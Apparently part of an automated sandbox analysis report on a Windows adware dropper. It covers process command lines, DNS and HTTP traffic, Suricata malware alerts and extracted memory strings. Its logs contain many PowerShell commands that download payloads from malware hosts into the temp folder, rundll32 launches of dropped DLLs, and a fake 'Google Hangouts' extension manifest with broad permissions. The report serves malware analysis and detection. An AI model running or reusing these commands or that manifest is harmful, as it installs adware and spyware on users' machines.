        • powershell.exe $client = new-object System.Net.WebClient; $client.DownloadFile('http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.4','%TEMP%\csw263B.tmp') (PID: 4080)
        • cmd.exe /c schtasks /Run /TN Milimili (PID: 4024)
        • powershell.exe $client = new-object System.Net.WebClient; $client.DownloadFile('http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mid.3','%TEMP%\csw3C06.tmp') (PID: 1020)
      • powershell.exe $client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=mio.install.finish','%TEMP%\csp4104.tmp') (PID: 2644)
      • QQBrowser.exe -ptid=che0812 -silence (PID: 2620) 4/61
      • powershell.exe $client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=QQBrowser.install.finish','%TEMP%\csp4693.tmp') (PID: 2448)
      • rundll32.exe "C:\winsap_update\kokoko.dll",Kitty (PID: 2884)
      • powershell.exe $client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=GubedZL.install.finish','%TEMP%\csp508D.tmp') (PID: 2856)

Network Analysis

DNS Requests

Login to Download DNS Requests (CSV)
Domain Address Registrar Country
d34cz67a0qhhno.cloudfront.net 52.222.149.6 - Flag of United States United States
cloud.firefox1.com 104.18.49.98 - Flag of United States United States
d2hrpnfyb3wv3k.cloudfront.net 52.222.149.46 - Flag of United States United States
dc44qjwal3p07.cloudfront.net 52.222.149.239 - Flag of United States United States
point.roseiloveyou.com 52.222.149.13 - Flag of United States United States
d4c04g24ci6x7.cloudfront.net 52.222.149.132 - Flag of United States United States
ccc.qwepoii.org 104.27.144.76 - Flag of United States United States
d1cik3fvaz5q0e.cloudfront.net 52.222.149.25 - Flag of United States United States
d3i1asoswufp5k.cloudfront.net 52.222.149.116 - Flag of United States United States
api.suibianmaimaicom.com 104.18.43.50 - Flag of United States United States
rcgi.video.qq.com 203.205.151.234 - Flag of China China
dhxx2phjrf4w5.cloudfront.net 52.222.149.32 - Flag of United States United States
raa.qwepoii.org 158.85.62.199 - Flag of United States United States
www.ourluckysites.com 104.27.150.243 - Flag of United States United States
d3gacmsp3jwwnv.cloudfront.net 52.222.149.160 - Flag of United States United States
dfrs12kz9qye2.cloudfront.net 52.222.149.201 - Flag of United States United States

Contacted Hosts

Login to Download Contacted Hosts (CSV)
IP Address Port/Protocol Associated Process Details
52.222.149.116
80
TCP 		svchost.exe
PID: 372		 Flag of United States United States
52.222.149.239
80
TCP 		svchost.exe
PID: 372		 Flag of United States United States
52.222.149.132
80
TCP 		powershell.exe
PID: 3364
powershell.exe
PID: 976
powershell.exe
PID: 3380		 Flag of United States United States
52.222.149.93
80
TCP 		powershell.exe
PID: 3836		 Flag of United States United States
158.85.62.199
80
TCP 		powershell.exe
PID: 3888
powershell.exe
PID: 3260
powershell.exe
PID: 3424
powershell.exe
PID: 3692
powershell.exe
PID: 1092		 Flag of United States United States
ASN: 36351 (SoftLayer Technologies Inc.)
52.222.149.79
80
TCP 		powershell.exe
PID: 3064
powershell.exe
PID: 1436
powershell.exe
PID: 2968
powershell.exe
PID: 2728
powershell.exe
PID: 3696
powershell.exe
PID: 1876		 Flag of United States United States
52.222.149.201
80
TCP 		powershell.exe
PID: 3776
powershell.exe
PID: 272		 Flag of United States United States
52.222.149.160
80
TCP 		mio.exe
PID: 1608		 Flag of United States United States
52.222.149.13
80
TCP 		vboxxharddisk_vb47a275fd-833fcbff.dat
PID: 564		 Flag of United States United States
52.222.149.46
80
TCP 		powershell.exe
PID: 3644		 Flag of United States United States
52.222.149.25
80
TCP 		svchost.exe
PID: 892		 Flag of United States United States
52.222.149.32
80
TCP 		- Flag of United States United States
52.222.149.6
80
TCP 		- Flag of United States United States
203.205.151.234
80
TCP 		- Flag of China China
ASN: 132203 (Tencent Building, Kejizhongyi Avenue)

Contacted Countries

HTTP Traffic

Endpoint Request URL
52.222.149.116:80 (d3i1asoswufp5k.cloudfront.net) GET d3i1asoswufp5k.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=visit.winsap.work&update3=version,2.8.12
52.222.149.239:80 (dc44qjwal3p07.cloudfront.net) GET dc44qjwal3p07.cloudfront.net/winsap/up?ptid=winsap&sid=winsap&ln=en_us&ver=2.8.12&uid=VBOXXHARDDISK_VB47a275fd-833fcbff&dp=0
52.222.149.132:80 (d4c04g24ci6x7.cloudfront.net) GET d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=ClearLog.install.finish
52.222.149.93:80 (d2hrpnfyb3wv3k.cloudfront.net) GET d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.startload
52.222.149.132:80 (d4c04g24ci6x7.cloudfront.net) GET d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=winsnare.install.finish
52.222.149.132:80 (d4c04g24ci6x7.cloudfront.net) GET d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=WinSAP.install.finish
158.85.62.199:80 (raa.qwepoii.org) GET raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.14
52.222.149.79:80 (dhxx2phjrf4w5.cloudfront.net) GET dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.1
52.222.149.201:80 (dfrs12kz9qye2.cloudfront.net) GET dfrs12kz9qye2.cloudfront.net//v4//sofclean//vboxxharddisk_vb47a275fd-833fcbff?action=bbuc.1
158.85.62.199:80 (raa.qwepoii.org) GET raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.1
158.85.62.199:80 (raa.qwepoii.org) GET raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.3
104.27.150.243:80 (www.ourluckysites.com) GET www.ourluckysites.com/search/z.php
104.18.43.50:80 (api.suibianmaimaicom.com) GET api.suibianmaimaicom.com/vboxxharddisk_vb47a275fd-833fcbff.dat
158.85.62.199:80 (raa.qwepoii.org) GET raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.0&update3=version,2.1.4
104.18.43.50:80 (api.suibianmaimaicom.com) GET api.suibianmaimaicom.com/index.php?uid=vboxxharddisk_vb47a275fd-833fcbff.dat
104.27.144.76:80 (ccc.qwepoii.org) GET ccc.qwepoii.org/vboxxharddisk_vb47a275fd-833fcbff/psgo/2.1.4
104.27.144.76:80 (ccc.qwepoii.org) GET ccc.qwepoii.org/index.php?uid=vboxxharddisk_vb47a275fd-833fcbff&pid=psgo&ver=2.1.4
52.222.149.160:80 (d3gacmsp3jwwnv.cloudfront.net) GET d3gacmsp3jwwnv.cloudfront.net/229c19eea00c7d30a54cbf43ef8fb865
52.222.149.13:80 (point.roseiloveyou.com) GET point.roseiloveyou.com/20170427_UPdateuuu.dat
52.222.149.79:80 (dhxx2phjrf4w5.cloudfront.net) GET dhxx2phjrf4w5.cloudfront.net/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.ClearLog.1
52.222.149.79:80 (dhxx2phjrf4w5.cloudfront.net) GET dhxx2phjrf4w5.cloudfront.net/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.CPK.1
52.222.149.46:80 (d2hrpnfyb3wv3k.cloudfront.net) GET d2hrpnfyb3wv3k.cloudfront.net/provide?clients=205294FCB91F0BD563B0A9FDE9B54EA6&reqs=visit.cpk.startload
52.222.149.201:80 (dfrs12kz9qye2.cloudfront.net) GET dfrs12kz9qye2.cloudfront.net//v4//sofclean//vboxxharddisk_vb47a275fd-833fcbff?action=bbuc.1
52.222.149.79:80 (dhxx2phjrf4w5.cloudfront.net) GET dhxx2phjrf4w5.cloudfront.net/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.UUUCC.1
52.222.149.79:80 (dhxx2phjrf4w5.cloudfront.net) GET dhxx2phjrf4w5.cloudfront.net/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.Gubed.1
52.222.149.79:80 (dhxx2phjrf4w5.cloudfront.net) GET dhxx2phjrf4w5.cloudfront.net/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.psgo.1
158.85.62.199:80 (raa.qwepoii.org) GET raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.14
52.222.149.25:80 (d1cik3fvaz5q0e.cloudfront.net) GET d1cik3fvaz5q0e.cloudfront.net/v4/service/205294FCB91F0BD563B0A9FDE9B54EA6?action=visit.UpdatesWuApp.heartbeat.462
52.222.149.46:80 (d2hrpnfyb3wv3k.cloudfront.net) GET d2hrpnfyb3wv3k.cloudfront.net/provide?clients=205294FCB91F0BD563B0A9FDE9B54EA6&reqs=visit.cpk.install.ed
158.85.62.199:80 (raa.qwepoii.org) GET raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.6
158.85.62.199:80 (raa.qwepoii.org) GET raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.1
158.85.62.199:80 (raa.qwepoii.org) GET raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.4
158.85.62.199:80 (raa.qwepoii.org) GET raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.3
158.85.62.199:80 (raa.qwepoii.org) GET raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.0&update3=version,2.1.4
104.27.144.76:80 (ccc.qwepoii.org) GET ccc.qwepoii.org/vboxxharddisk_vb47a275fd-833fcbff/psgo/2.1.4
104.27.144.76:80 (ccc.qwepoii.org) GET ccc.qwepoii.org/index.php?uid=vboxxharddisk_vb47a275fd-833fcbff&pid=psgo&ver=2.1.4
104.18.49.98:80 (cloud.firefox1.com) GET cloud.firefox1.com/cl/downloader?version=52.0.20.935&channel=official&d=1&userid=VBOXXHARDDISK_VB47a275fd-833fcbff&src=ff
52.222.149.32:80 (dhxx2phjrf4w5.cloudfront.net) GET dhxx2phjrf4w5.cloudfront.net/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.WinSnare.1
52.222.149.6:80 (d34cz67a0qhhno.cloudfront.net) GET d34cz67a0qhhno.cloudfront.net/firef/install/52.0.20.935.dat
203.205.151.234:80 (rcgi.video.qq.com) POST rcgi.video.qq.com/web_report
203.205.151.234:80 (rcgi.video.qq.com) POST rcgi.video.qq.com/web_report
203.205.151.234:80 (rcgi.video.qq.com) POST rcgi.video.qq.com/web_report

Memory Forensics

String Context Stream UID
https://crbug.com/368855. Domain/IP reference 00056905-00001036-32823-51-00402520

Suricata Alerts

Event Category Description SID
local -> 52.222.149.132:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 158.85.62.199:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 52.222.149.201:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 52.222.149.79:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 158.85.62.199:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 52.222.149.132:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 158.85.62.199:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 158.85.62.199:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 52.222.149.132:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
52.222.149.160 -> local:64625 (TCP) Potentially Bad Traffic ET POLICY Executable served from Amazon S3 2013414
52.222.149.160 -> local:64625 (TCP) Potential Corporate Privacy Violation ET POLICY PE EXE or DLL Windows file download HTTP 2018959
local -> 52.222.149.79:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 52.222.149.79:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 52.222.149.201:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 158.85.62.199:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 158.85.62.199:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 52.222.149.79:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 158.85.62.199:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 52.222.149.79:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
local -> 52.222.149.79:80 (TCP) A Network Trojan was detected ETPRO MALWARE Adware.QkSee/WinSaber Checkin 2 2821367
ET rules applied using Suricata. Find out more about proofpoint ET Intelligence here.

Extracted Strings

All Details:
Download All Memory Strings (67KiB)
!"#$%&'()*+,-./0123
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!+128H
Ansi based on Runtime Data (rundll32.exe )
!-Z<tO@![
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!338$239N
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!?=x?
Ansi based on Runtime Data (rundll32.exe )
!??,??
Ansi based on Runtime Data (rundll32.exe )
!]_%(r(@hs
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!^!*d:T^a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!_c2hpL<?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!E??NyK
Ansi based on Runtime Data (rundll32.exe )
!ET_@}zR8#
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!O8cN^z(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!Q%bqD{$/X
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!RhO,u?PN
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!s>pajy={8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!This program cannot be run in DOS mode.$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
!W=Wk/]a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
" type="win32"></assemblyIdentity><description>test</description><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"></supportedOS><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"></supportedOS><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS></application></compatibility></assembly>
Ansi based on Dropped File (MIO.dll.1862922135)
"%s%s"
Unicode based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
"%s%s" %s
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"%s%s",%s
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"*://*.facebook.com/*",
Ansi based on Dropped File (CJ)
"*://*.google.com/*",
Ansi based on Dropped File (CJ)
"*://*.instagram.com/*",
Ansi based on Dropped File (CJ)
"*://*.pinterest.com/*",
Ansi based on Dropped File (CJ)
"*://*.twitter.com/*",
Ansi based on Dropped File (CJ)
"*://*/*"
Ansi based on Dropped File (CJ)
"*://localhost/*"
Ansi based on Dropped File (CJ)
";>j_evD2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"?????
Ansi based on Runtime Data (rundll32.exe )
"AgX ?>pv
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"all_frames": true,
Ansi based on Dropped File (CJ)
"background": {
Ansi based on Dropped File (CJ)
"C:\Updater_20170427_newmm.exe.dll"
Ansi based on Process Commandline (RunDLL)
"C:\Updater_20170427_newmm.exe.dll",UPDATE
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\kokoko.dll",Kitty
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\MIO.dll",Help i
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\psi.dll",I
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\SSS.dll",OFO
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\UAC.dll",UUU
Ansi based on Process Commandline (rundll32.exe)
"C:\winsap_update\WinSAP.dll",afxxx -update
Ansi based on Process Commandline (rundll32.exe)
"chrome://resources/html/event_tracker.html"><script src="chrome://resources/js/cr/ui/focus_row.js"></script><script src="chrome://resources/js/cr/ui/menu.js"></script><script src="chrome://resources/js/cr/ui/menu_button.js"></script><script src="chrome://
Ansi based on Runtime Data (CPK.exe )
"content_scripts": [
Ansi based on Dropped File (CJ)
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
Ansi based on Dropped File (CJ)
"cookies",
Ansi based on Dropped File (CJ)
"CS_hD[;{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"d?[??lt_
Ansi based on Runtime Data (rundll32.exe )
"desktopCapture",
Ansi based on Dropped File (CJ)
"externally_connectable": {
Ansi based on Dropped File (CJ)
"G&A&G*A*g.a1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"g0v4rmqw
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"http://*/*",
Ansi based on Dropped File (CJ)
"https://*.google.com/*",
Ansi based on Dropped File (CJ)
"https://*/*",
Ansi based on Dropped File (CJ)
"I-\\b0ey}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"I_IIUO=F
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"ids": ["*"],
Ansi based on Dropped File (CJ)
"incognito": "split",
Ansi based on Dropped File (CJ)
"i~6g`.UU,/
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"js": [
Ansi based on Dropped File (CJ)
"key": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAQt2ZDdPfoSe/JI6ID5bgLHRCnCu9T36aYczmhw/tnv6QZB2I6WnOCMZXJZlRdqWc7w9jo4BWhYS50Vb4weMfh/I0On7VcRwJUgfAxW2cHB+EkmtI1v4v/OU24OqIa1Nmv9uRVeX0GjhQukdLNhAE6ACWooaf5kqKlCeK+1GOkQIDAQAB",
Ansi based on Dropped File (CJ)
"last_used":
Ansi based on Dropped File (kokoko.dll.2691425955)
"LV.^7058
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"M1982)K7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"management",
Ansi based on Dropped File (CJ)
"manifest_version": 2,
Ansi based on Dropped File (CJ)
"matches": [
Ansi based on Dropped File (CJ)
"name": "Google Hangouts",
Ansi based on Dropped File (CJ)
"page": "background.html"
Ansi based on Dropped File (CJ)
"Pb^~ewc0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"permissions": [
Ansi based on Dropped File (CJ)
"processes",
Ansi based on Dropped File (CJ)
"run_at": "document_start"
Ansi based on Dropped File (CJ)
"storage",
Ansi based on Dropped File (CJ)
"system.cpu",
Ansi based on Dropped File (CJ)
"tabs",
Ansi based on Dropped File (CJ)
"thunk.js"
Ansi based on Dropped File (CJ)
"Uf^88pk~J
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"version": "1.3.2",
Ansi based on Dropped File (CJ)
"VFhinoL5~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"webNavigation",
Ansi based on Dropped File (CJ)
"webRequest",
Ansi based on Dropped File (CJ)
"webRequestBlocking",
Ansi based on Dropped File (CJ)
"webrtcAudioPrivate",
Ansi based on Dropped File (CJ)
"webrtcDesktopCapturePrivate",
Ansi based on Dropped File (CJ)
"webrtcLoggingPrivate"
Ansi based on Dropped File (CJ)
"woG`l&z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
"XQ'&
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#&B(!9]3]&e[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#/R=f}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#1CNS4l r
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#:???MF?]?F????4?%G?]L??E?g
Ansi based on Runtime Data (rundll32.exe )
#;u>Ey1PC!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#<guid> Enable tracing for a provider by guid
Unicode based on Dropped File (ttttt.exe.179545488)
#?.?o
Ansi based on Runtime Data (rundll32.exe )
#b!ptIRX|R
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#f3 @w
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#I{7.c
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#kH34<LJH
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#kRae.Aw
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#MHwcKFG+?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#N&RY(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#OVIJ,F
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#r:XN:6]0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#This program will run on a regular basis, #when the detection of SZJ_BUG on your computer #will automatically download and execute the repair process#####2015.3-2018.9 auto repair##from ZhiHuiDePianZi Company##OS >= windows 7###re
Ansi based on Runtime Data (rundll32.exe )
#TJ*`R71t
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
#{{Su
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$-iqJ;N(U
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$/Xz.QI\*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$041854103
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$8?W]v"O:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$??9c^
Ansi based on Runtime Data (rundll32.exe )
$?????$???;?d???
Ansi based on Runtime Data (rundll32.exe )
$????N?
Ansi based on Runtime Data (rundll32.exe )
$???T
Ansi based on Runtime Data (rundll32.exe )
$?W?N_"??
Ansi based on Runtime Data (rundll32.exe )
$^ \%^!hU
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$client = new-object System.Net.WebClient; $client.DownloadFile('
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=ClearLog.install.finish','%TEMP%\csp8203.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=CPK.install.finish','%TEMP%\csp379D.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=GubedZL.install.finish','%TEMP%\csp508D.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=mio.install.finish','%TEMP%\csp4104.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=psgo.install.finish','%TEMP%\csp3939.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=QQBrowser.install.finish','%TEMP%\csp4693.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=UUUCC.install.finish','%TEMP%\csp3CB5.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=WinSAP.install.finish','%TEMP%\csp8E4D.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=winsnare.install.finish','%TEMP%\cspB165.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mid.3','%TEMP%\csw3C06.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.1','%TEMP%\cswD966.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient; $client.DownloadFile('http://dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.4','%TEMP%\csw263B.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.install.true','33')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.startload','11')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://dfrs12kz9qye2.cloudfront.net//v4//sofclean//vboxxharddisk_vb47a275fd-833fcbff?action=bbuc.1','%TEMP%\ucD52C.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.1','%TEMP%\psg11ED.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.14','%TEMP%\psgD63A.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.3','%TEMP%\psg1B52.tmp')
Ansi based on Process Commandline (powershell.exe)
